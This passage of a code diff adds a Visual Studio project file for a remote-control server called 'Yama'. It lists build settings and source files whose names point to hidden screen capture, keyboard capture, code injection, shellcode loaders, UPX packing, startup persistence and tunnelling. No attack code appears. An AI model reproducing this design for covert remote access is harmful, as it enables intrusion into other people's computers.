afx_msg void OnImportData();
|
||||
afx_msg void OnProxyPortStd();
|
||||
afx_msg void OnChooseLangDir();
|
||||
afx_msg void OnLocationQqwry();
|
||||
afx_msg void OnLocationIp2region();
|
||||
afx_msg void OnToolLicenseMgr();
|
||||
afx_msg void OnToolImportLicense();
|
||||
afx_msg void OnToolV2PrivateKey();
|
||||
afx_msg void OnMenuNotifySettings();
|
||||
afx_msg void OnFrpsForSub();
|
||||
afx_msg void OnOnlineLoginNotify();
|
||||
afx_msg void OnExecuteTestrun();
|
||||
afx_msg void OnExecuteGhost();
|
||||
afx_msg void OnMasterTrail();
|
||||
afx_msg void OnCancelShare();
|
||||
afx_msg void OnWebRemoteControl();
|
||||
};
|
||||
593
server/2015Remote/2015Remote_vs2015.vcxproj
Normal file
593
server/2015Remote/2015Remote_vs2015.vcxproj
Normal file
@@ -0,0 +1,593 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
|
||||
<RootNamespace>My2015Remote</RootNamespace>
|
||||
<Keyword>MFCProj</Keyword>
|
||||
<ProjectName>Yama</ProjectName>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(ProjectDir)libpeconv;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)lib;$(SolutionDir)compress\ffmpeg;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(ProjectDir)libpeconv;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</OutputFile>
|
||||
<ImageHasSafeExceptionHandlers>true</ImageHasSafeExceptionHandlers>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
<ValidateAllParameters>true</ValidateAllParameters>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</Midl>
|
||||
<ResourceCompile>
|
||||
<Culture>0x0804</Culture>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</OutputFile>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</Midl>
|
||||
<ResourceCompile>
|
||||
<Culture>0x0804</Culture>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<StringPooling>true</StringPooling>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</OutputFile>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
<ValidateAllParameters>true</ValidateAllParameters>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</Midl>
|
||||
<ResourceCompile>
|
||||
<Culture>0x0804</Culture>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<StringPooling>true</StringPooling>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</OutputFile>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</Midl>
|
||||
<ResourceCompile>
|
||||
<Culture>0x0804</Culture>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\linux\ghost" />
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\SCLoader.exe" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\Release\TinyRun.dll" />
|
||||
<None Include="..\..\x64\Release\ghost.exe" />
|
||||
<None Include="..\..\x64\Release\SCLoader.exe" />
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
<None Include="res\3.cur" />
|
||||
<None Include="res\3rd\frpc.dll" />
|
||||
<None Include="res\3rd\frps.dll" />
|
||||
<None Include="res\3rd\rcedit.exe" />
|
||||
<None Include="res\3rd\SCLoader_32.exe" />
|
||||
<None Include="res\3rd\SCLoader_64.exe" />
|
||||
<None Include="res\3rd\upx.exe" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\arrow.cur" />
|
||||
<None Include="res\audio.ico" />
|
||||
<None Include="res\bitmap\bmp00001.bmp" />
|
||||
<None Include="res\Bitmap\Online.bmp" />
|
||||
<None Include="res\bitmap\toolbar1.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||
<None Include="res\cmdshell.ico" />
|
||||
<None Include="res\cursor5.cur" />
|
||||
<None Include="res\Cur\1.cur" />
|
||||
<None Include="res\Cur\2.cur" />
|
||||
<None Include="res\Cur\3.cur" />
|
||||
<None Include="res\Cur\4.cur" />
|
||||
<None Include="res\Cur\arrow.cur" />
|
||||
<None Include="res\Cur\Drag.cur" />
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\dword.ico" />
|
||||
<None Include="res\file.ico" />
|
||||
<None Include="res\frpc.dll" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\pc.ico" />
|
||||
<None Include="res\rcedit.exe" />
|
||||
<None Include="res\SCLoader_32.exe" />
|
||||
<None Include="res\SCLoader_64.exe" />
|
||||
<None Include="res\string.ico" />
|
||||
<None Include="res\upx.exe" />
|
||||
<None Include="stub2\stub32.bin" />
|
||||
<None Include="stub2\stub64.bin" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
<ClInclude Include="..\..\client\MemoryModule.h" />
|
||||
<ClInclude Include="..\..\client\reg_startup.h" />
|
||||
<ClInclude Include="..\..\common\aes.h" />
|
||||
<ClInclude Include="..\..\common\encrypt.h" />
|
||||
<ClInclude Include="..\..\common\file_upload.h" />
|
||||
<ClInclude Include="..\..\common\ikcp.h" />
|
||||
<ClInclude Include="..\..\common\iniFile.h" />
|
||||
<ClInclude Include="..\..\common\obfs.h" />
|
||||
<ClInclude Include="..\..\common\SafeString.h" />
|
||||
<ClInclude Include="2015Remote.h" />
|
||||
<ClInclude Include="2015RemoteDlg.h" />
|
||||
<ClInclude Include="adapter.h" />
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Bmp2Video.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="CClientListDlg.h" />
|
||||
<ClInclude Include="CDlgFileSend.h" />
|
||||
<ClInclude Include="CDrawingBoard.h" />
|
||||
<ClInclude Include="CGridDialog.h" />
|
||||
<ClInclude Include="Chat.h" />
|
||||
<ClInclude Include="CLicenseDlg.h" />
|
||||
<ClInclude Include="CListCtrlEx.h" />
|
||||
<ClInclude Include="context.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="FeatureFlags.h" />
|
||||
<ClInclude Include="LicenseFile.h" />
|
||||
<ClInclude Include="CRcEditDlg.h" />
|
||||
<ClInclude Include="CTextDlg.h" />
|
||||
<ClInclude Include="CUpdateDlg.h" />
|
||||
<ClInclude Include="CWalletDlg.h" />
|
||||
<ClInclude Include="DateVerify.h" />
|
||||
<ClInclude Include="DecryptDlg.h" />
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="file\CFileListCtrl.h" />
|
||||
<ClInclude Include="file\CFileManagerDlg.h" />
|
||||
<ClInclude Include="file\CFileTransferModeDlg.h" />
|
||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||
<ClInclude Include="HostInfo.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPKCPServer.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="IOCPUDPServer.h" />
|
||||
<ClInclude Include="IPHistoryDlg.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
<ClInclude Include="LangManager.h" />
|
||||
<ClInclude Include="NetworkDlg.h" />
|
||||
<ClInclude Include="NotifyConfig.h" />
|
||||
<ClInclude Include="NotifyManager.h" />
|
||||
<ClInclude Include="NotifySettingsDlg.h" />
|
||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||
<ClInclude Include="FrpsForSubDlg.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||
<ClInclude Include="proxy\ProxyMapDlg.h" />
|
||||
<ClInclude Include="proxy\SocketInterface.h" />
|
||||
<ClInclude Include="pwd_gen.h" />
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="SearchBarDlg.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="TerminalDlg.h" />
|
||||
<ClInclude Include="SortListCtrl.h" />
|
||||
<ClInclude Include="SplashDlg.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="SystemDlg.h" />
|
||||
<ClInclude Include="sys\CCreateTaskDlg.h" />
|
||||
<ClInclude Include="sys\CInjectCodeDlg.h" />
|
||||
<ClInclude Include="sys\MachineDlg.h" />
|
||||
<ClInclude Include="sys\ServiceInfoDlg.h" />
|
||||
<ClInclude Include="TalkDlg.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="ToolbarDlg.h" />
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
<ClInclude Include="UIBranding.h" />
|
||||
<ClInclude Include="VideoDlg.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
<ClInclude Include="ServerServiceWrapper.h" />
|
||||
<ClInclude Include="ServerSessionMonitor.h" />
|
||||
<ClInclude Include="CIconButton.h" />
|
||||
<ClInclude Include="TerminalModuleLoader.h" />
|
||||
<ClInclude Include="WebService.h" />
|
||||
<ClInclude Include="WebServiceAuth.h" />
|
||||
<ClInclude Include="WebPage.h" />
|
||||
<ClInclude Include="SimpleWebSocket.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\client\Audio.cpp" />
|
||||
<ClCompile Include="msvc_compat.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\client\reg_startup.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\common\aes.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\common\file_upload.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\common\ikcp.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="2015Remote.cpp" />
|
||||
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Bmp2Video.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="CClientListDlg.cpp" />
|
||||
<ClCompile Include="CDlgFileSend.cpp" />
|
||||
<ClCompile Include="CDrawingBoard.cpp" />
|
||||
<ClCompile Include="CGridDialog.cpp" />
|
||||
<ClCompile Include="Chat.cpp" />
|
||||
<ClCompile Include="CLicenseDlg.cpp" />
|
||||
<ClCompile Include="CListCtrlEx.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="LicenseFile.cpp" />
|
||||
<ClCompile Include="CRcEditDlg.cpp" />
|
||||
<ClCompile Include="CTextDlg.cpp" />
